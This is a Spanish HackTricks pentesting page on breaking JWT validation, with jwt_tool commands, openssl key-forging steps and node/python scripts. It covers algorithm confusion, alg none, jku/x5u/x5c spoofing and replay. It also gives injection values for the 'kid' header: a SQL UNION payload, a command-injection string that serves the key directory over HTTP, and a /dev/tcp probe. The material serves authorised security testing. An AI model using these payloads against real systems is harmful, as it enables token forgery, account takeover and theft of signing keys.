hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

18 KiB
Raw Blame History

Vulnerabilidades de JWT (Json Web Tokens)

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Consejo para cazar recompensas: regístrate en Intigriti, una plataforma premium de bug bounty creada por hackers, para hackers. Únete a nosotros en https://go.intigriti.com/hacktricks hoy mismo, y comienza a ganar recompensas de hasta $100,000.

{% embed url="https://go.intigriti.com/hacktricks" %}

Parte de este post fue tomada de: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor de la excelente herramienta para pentesting de JWTs https://github.com/ticarpi/jwt_tool

Victorias Rápidas

Ejecuta jwt_tool con el modo All Tests! y espera a las líneas verdes

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Si tienes suerte, la herramienta encontrará algún caso en el que la aplicación web está comprobando incorrectamente el JWT:

Luego, puedes buscar la solicitud en tu proxy o volcar el JWT utilizado para esa solicitud usando jwt_tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Alterar datos sin modificar nada

Puedes alterar los datos dejando la firma tal cual y comprobar si el servidor está verificando la firma. Intenta cambiar tu nombre de usuario a "admin", por ejemplo.

¿Se verifica el token?

  • Si ocurre un mensaje de error, la firma se está verificando - lee cualquier información de error detallada que pueda revelar algo sensible.
  • Si la página devuelta es diferente, la firma se está verificando.
  • Si la página es la misma, entonces la firma no se está verificando - ¡es hora de empezar a alterar las afirmaciones del Payload para ver qué puedes hacer!

Origen

Comprueba dónde se originó el token en el historial de solicitudes de tu proxy. Debería crearse en el servidor, no en el cliente.

  • Si se vio por primera vez proveniente del lado del cliente, entonces la clave es accesible al código del lado del cliente - ¡búscala!
  • Si se vio por primera vez proveniente del servidor, todo está bien.

Duración

Comprueba si el token dura más de 24h... tal vez nunca expira. Si hay un campo "exp", verifica si el servidor lo está manejando correctamente.

Fuerza bruta del secreto HMAC

Ver esta página.

Modificar el algoritmo a Ninguno (CVE-2015-9235)

Establece el algoritmo utilizado como "Ninguno" y elimina la parte de la firma.

Usa la extensión de Burp llamada "JSON Web Token" para probar esta vulnerabilidad y para cambiar diferentes valores dentro del JWT (envía la solicitud a Repeater y en la pestaña "JSON Web Token" puedes modificar los valores del token. También puedes seleccionar poner el valor del campo "Alg" a "Ninguno").

Cambiar el algoritmo RS256(asimétrico) a HS256(simétrico) (CVE-2016-5431/CVE-2016-10555)

El algoritmo HS256 utiliza la clave secreta para firmar y verificar cada mensaje.
El algoritmo RS256 utiliza la clave privada para firmar el mensaje y la clave pública para la autenticación.

Si cambias el algoritmo de RS256 a HS256, el código del back end usa la clave pública como clave secreta y luego utiliza el algoritmo HS256 para verificar la firma.

Entonces, usando la clave pública y cambiando RS256 a HS256 podríamos crear una firma válida. Puedes obtener el certificado del servidor web ejecutando esto:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Nueva clave pública en el encabezado

Un atacante incorpora una nueva clave en el encabezado del token y el servidor utiliza esta nueva clave para verificar la firma (CVE-2018-0114).

Esto se puede hacer con la extensión "JSON Web Tokens" de Burp.
(Envía la solicitud al Repeater, dentro de la pestaña JSON Web Token selecciona "CVE-2018-0114" y envía la solicitud).

Suplantación de JWKS

Si el token utiliza una declaración de encabezado “jku”, entonces verifica la URL proporcionada. Esta debería apuntar a una URL que contenga el archivo JWKS que tiene la Clave Pública para verificar el token. Altera el token para que el valor de jku apunte a un servicio web que puedas monitorear el tráfico.

Si obtienes una interacción HTTP ahora sabes que el servidor está intentando cargar claves desde la URL que estás proporcionando. Usa la bandera -S de jwt_tool junto con el argumento -u http://example.com para generar un nuevo par de claves, inyectar tu URL proporcionada, generar un JWKS que contenga la Clave Pública y firmar el token con la Clave Privada

Problemas con "kid"

kid es una declaración de encabezado opcional que contiene un identificador de clave, particularmente útil cuando tienes múltiples claves para firmar los tokens y necesitas buscar la correcta para verificar la firma.

Problemas con "kid" - revelar clave

Si se utiliza la declaración "kid" en el encabezado, verifica el directorio web para ese archivo o una variación del mismo. Por ejemplo, si "kid":"key/12345", entonces busca /key/12345 y /key/12345.pem en la raíz web.

Problemas con "kid" - traversal de ruta

Si se utiliza la declaración "kid" en el encabezado, verifica si puedes usar un archivo diferente en el sistema de archivos. Elige un archivo cuyo contenido puedas predecir, o intenta "kid":"/dev/tcp/tuIP/tuPuerto" para probar la conectividad, o incluso algunos payloads de SSRF...
Usa la bandera -T de jwt_tool para alterar el JWT y cambiar el valor de la declaración kid, luego elige mantener la firma original

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Utilizando archivos dentro del host con contenido conocido también puedes falsificar un JWT válido. Por ejemplo, en sistemas linux el archivo /proc/sys/kernel/randomize_va_space tiene el valor establecido en 2. Entonces, colocando esa ruta dentro del parámetro "kid" y usando "2" como la contraseña simétrica para generar el JWT deberías poder generar un nuevo JWT válido.

Problemas con "kid" - Inyección SQL

En un escenario donde el contenido de "kid" se utiliza para recuperar la contraseña de la base de datos, podrías cambiar el contenido dentro del parámetro "kid" a: non-existent-index' UNION SELECT 'ATTACKER';-- - y luego firmar el JWT con la clave secreta ATTACKER.

Problemas con "kid" - Inyección en el Sistema Operativo

En un escenario donde el parámetro "kid" contiene una ruta al archivo con la clave y esta ruta se utiliza dentro de un comando ejecutado podrías obtener RCE y exponer la clave privada con un contenido como el siguiente: /root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

Ataques varios

Las siguientes son debilidades conocidas que deben ser probadas.

Ataques de retransmisión entre servicios

Algunas aplicaciones web utilizan un servicio JWT 'confiable' para generar y gestionar tokens para ellos. En el pasado ha ocurrido que un token generado para uno de los clientes del servicio JWT puede ser aceptado por otro de los clientes del servicio JWT.
Si observas que el JWT se emite o renueva a través de un servicio de terceros, vale la pena identificar si puedes registrarte en otra de las cuentas de ese servicio con tu mismo nombre de usuario/correo electrónico. Si es así, intenta tomar ese token y reutilizarlo en una solicitud a tu objetivo. ¿Es aceptado?

  • Si tu token es aceptado, entonces puedes tener un problema crítico que te permite suplantar la cuenta de cualquier usuario. SIN EMBARGO, ten en cuenta que si te registras en una aplicación de terceros, es posible que necesites buscar permiso para pruebas más amplias en caso de que entre en una zona gris legal.

¿Se verifica exp?

La afirmación "exp" del Payload se utiliza para verificar la caducidad de un token. Como los JWT a menudo se utilizan en ausencia de información de sesión, deben manejarse con cuidado - en muchos casos, capturar y reutilizar el JWT de otra persona te permitirá hacerse pasar por ese usuario.
Una mitigación contra los ataques de reutilización de JWT (que es aconsejada por el RFC de JWT) es usar la afirmación "exp" para establecer un tiempo de caducidad para el token. También es importante establecer las comprobaciones relevantes en la aplicación para asegurarse de que este valor se procese y el token sea rechazado cuando haya caducado. Si el token contiene una afirmación "exp" y el tiempo de prueba lo permite - intenta almacenar el token y reutilizarlo después de que haya pasado el tiempo de caducidad. Usa la bandera -R de jwt_tool para leer el contenido del token, que incluye el análisis de la marca de tiempo y la comprobación de la caducidad (marca de tiempo en UTC)

  • Si el token todavía se valida en la aplicación, entonces esto puede ser un riesgo de seguridad ya que el token puede NUNCA expirar.

x5u y jku

jku

jku significa URL del Conjunto de Claves JWK.
Si el token utiliza una afirmación de Encabezadojku”, entonces revisa la URL proporcionada. Esto debería apuntar a una URL que contenga el archivo JWKS que tiene la Clave Pública para verificar el token. Altera el token para que el valor de jku apunte a un servicio web que puedas monitorear el tráfico.

Primero necesitas crear un nuevo certificado con nuevas claves privadas y públicas

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Entonces puedes usar, por ejemplo, jwt.io para crear el nuevo JWT con las claves pública y privada creadas y apuntando el parámetro jku al certificado creado. Para crear un certificado jku válido puedes descargar el original y cambiar los parámetros necesarios.

Puedes obtener los parámetros "e" y "n" de un certificado público utilizando:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. Una URI que apunta a un conjunto de certificados públicos X.509 (un estándar de formato de certificado) codificados en forma PEM. El primer certificado en el conjunto debe ser el utilizado para firmar este JWT. Los certificados subsiguientes firman cada uno al anterior, completando así la cadena de certificados. X.509 está definido en RFC 52807. Se requiere seguridad de transporte para transferir los certificados.

Intenta cambiar este encabezado a una URL bajo tu control y verifica si se recibe alguna solicitud. En ese caso, podrías manipular el JWT.

Para forjar un nuevo token usando un certificado controlado por ti, necesitas crear el certificado y extraer las claves pública y privada:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Entonces puedes usar, por ejemplo, jwt.io para crear el nuevo JWT con las claves públicas y privadas creadas y apuntando el parámetro x5u al certificado .crt creado.

También puedes abusar de ambas vulnerabilidades para SSRFs.

x5c

Este parámetro puede contener el certificado en base64:

Si el atacante genera un certificado autofirmado y crea un token falsificado usando la clave privada correspondiente y reemplaza el valor del parámetro "x5c" con el certificado recién generado y modifica los otros parámetros, a saber, n, e y x5t, entonces esencialmente el token falsificado sería aceptado por el servidor.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Clave Pública Incorporada (CVE-2018-0114)

Si el JWT tiene incorporada una clave pública como en el siguiente escenario:

Usando el siguiente script de nodejs es posible generar una clave pública a partir de esos datos:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Es posible generar una nueva clave privada/pública, incrustar la nueva clave pública dentro del token y usarla para generar una nueva firma:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Puedes obtener "n" y "e" utilizando este script de nodejs:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finalmente, utilizando la clave pública y privada y los nuevos valores de "n" y "e", puedes usar jwt.io para forjar un nuevo JWT válido con cualquier información.

JTI (Identificador de JWT)

El reclamo JTI (Identificador de JWT) proporciona un identificador único para un Token JWT. Puede ser utilizado para prevenir la repetición del token.
Sin embargo, imagina una situación donde la longitud máxima del ID es 4 (0001-9999). La solicitud 0001 y 10001 van a usar el mismo ID. Así que si el backend está incrementando el ID en cada solicitud, podrías abusar de esto para repetir una solicitud (necesitando enviar 10000 solicitudes entre cada repetición exitosa).

Reclamos Registrados de JWT

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

Herramientas

{% embed url="https://github.com/ticarpi/jwt_tool" %}


Consejo para cazar recompensas: regístrate en Intigriti, una plataforma de recompensas por errores premium creada por hackers, para hackers. ¡Únete a nosotros en https://go.intigriti.com/hacktricks hoy mismo y comienza a ganar recompensas de hasta $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: